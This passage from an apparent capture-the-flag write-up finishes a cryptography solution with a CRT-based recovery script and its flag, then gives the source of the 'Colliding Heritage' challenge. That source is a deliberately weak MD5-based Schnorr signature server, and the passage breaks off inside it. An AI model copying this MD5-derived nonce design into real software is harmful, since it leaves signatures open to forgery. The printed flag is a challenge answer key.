&lt;p>If we have $K_1$ and $K_2$, then we can recover $M_1$, $M_2$. By applying CRT (Chinese Remainder Theorem) for 2 pairs $(M_1, 61)$ and $(M_2, 17)$, we can get $M$ in modulus $61\times 17 = 1037$. Because every entries of the actual message&amp;rsquo;s matrix are bytes, they would be smaller than 128 (which is much smaller than 1037). This means our $M$ is actually the message itself.&lt;/p>
&lt;p>So our mission is just to find $C_1, C_2$ by using &lt;code>Turn page&lt;/code> many times. Here is the script after we gather enough materials (I used $p_1=61$ and $p_2=19$):&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="n">M_1&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="mi">11&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">23&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">5&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">47&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">48&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">48&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">46&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">34&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">3&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">55&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">34&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">55&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">43&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">51&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">34&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">54&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">55&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">52&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">53&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">54&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">33&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">33&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">33&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">3&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">M_2&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="mi">15&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">8&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">9&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">9&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">13&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">10&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">10&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">12&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">7&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">17&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">9&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">13&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">14&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">14&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">14&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">14&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">11&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">res&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">sympy.ntheory.modular&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">crt&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">M_1&lt;/span>&lt;span class="p">)):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">m&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="mi">61&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">19&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">v&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="n">M_1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">M_2&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Use crt() method &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">crt_m_v&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">crt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">m&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">v&lt;/span>&lt;span class="p">)[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">res&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">append&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">crt_m_v&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">join&lt;/span>&lt;span class="p">([&lt;/span>&lt;span class="nb">chr&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">x&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="n">x&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">res&lt;/span>&lt;span class="p">]))&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="results-2">Results&lt;/h3>
&lt;p>Flag is: &lt;strong>HTB{l00k_@t_7h3_st4rs!!!}&lt;/strong>&lt;/p>
&lt;h2 id="colliding-heritage">Colliding Heritage&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> As you arrive at the location of the relic, you discover an ancient tomb that appears to have no visible entrance. However, a scan of the area reveals the presence of unusual RF signals coming from a specific location. With the help of your team, you manage to create an interface to communicate with the signal-emitting device. Unfortunately, the device only grants access to descendants of the pharaoh’s left hand. Can you find a way to enter the tomb?&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Cryptography&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Medium&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>We were given a file below:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="ch">#!/usr/bin/env python3&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">signal&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">secrets&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">randbelow&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">hashlib&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">md5&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">Crypto.Util.number&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">isPrime&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">getPrime&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">long_to_bytes&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">bytes_to_long&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">FLAG&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;HTB{???????????????????????????}&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">class&lt;/span> &lt;span class="nc">MD5chnorr&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="fm">__init__&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># while True:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># self.q = getPrime(128)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># self.p = 2*self.q + 1&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># if isPrime(self.p):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># break&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">p&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mh">0x16dd987483c08aefa88f28147702e51eb&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">q&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">p&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">//&lt;/span> &lt;span class="mi">2&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">g&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">3&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">x&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">randbelow&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">q&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">y&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">pow&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">g&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">x&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="nf">H&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">msg&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">bytes_to_long&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">md5&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">msg&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">digest&lt;/span>&lt;span class="p">())&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">q&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="nf">sign&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">msg&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">k&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">H&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">msg&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">long_to_bytes&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">x&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">f&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">k&lt;/span> &lt;span class="si">= }&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">r&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">pow&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">g&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">k&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">q&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">e&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">H&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">long_to_bytes&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">r&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">msg&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">s&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">k&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">x&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">e&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">q&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">s&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">e&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="nf">verify&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">msg&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">sig&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">s&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">e&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">sig&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="ow">not&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="n">s&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">q&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="kc">False&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="ow">not&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="n">e&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">q&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="kc">False&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">rv&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">pow&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">g&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">s&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="nb">pow&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">y&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">e&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">p&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">q&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ev&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">H&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">long_to_bytes&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">rv&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">msg&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">ev&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="n">e&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">menu&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;[S]ign a message&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;[V]erify a signature&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="nb">input&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;&amp;gt; &amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">upper&lt;/span>&lt;span class="p">()[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">main&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">md5chnorr&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">MD5chnorr&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;g:&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">md5chnorr&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">g&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;y:&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">md5chnorr&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">y&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;p:&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">md5chnorr&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="n">_&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">choice&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">menu&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">choice&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;S&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">msg&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">bytes&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">fromhex&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">input&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Enter message&amp;gt; &amp;#39;&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s1">&amp;#39;I am the left hand&amp;#39;&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">msg&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;No!&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">sig&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">md5chnorr&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sign&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">msg&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Signature:&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">sig&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">choice&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;V&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">msg&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">bytes&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">fromhex&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">input&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Enter message&amp;gt; &amp;#39;&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">s&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">input&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Enter s&amp;gt; &amp;#39;&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">e&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">input&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Enter e&amp;gt; &amp;#39;&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">md5chnorr&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">verify&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">msg&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">s&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">e&lt;/span>&lt;span class="p">)):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">msg&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s1">&amp;#39;I am the left hand&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">FLAG&lt;/span>&lt;span class="p">)&lt;/span>
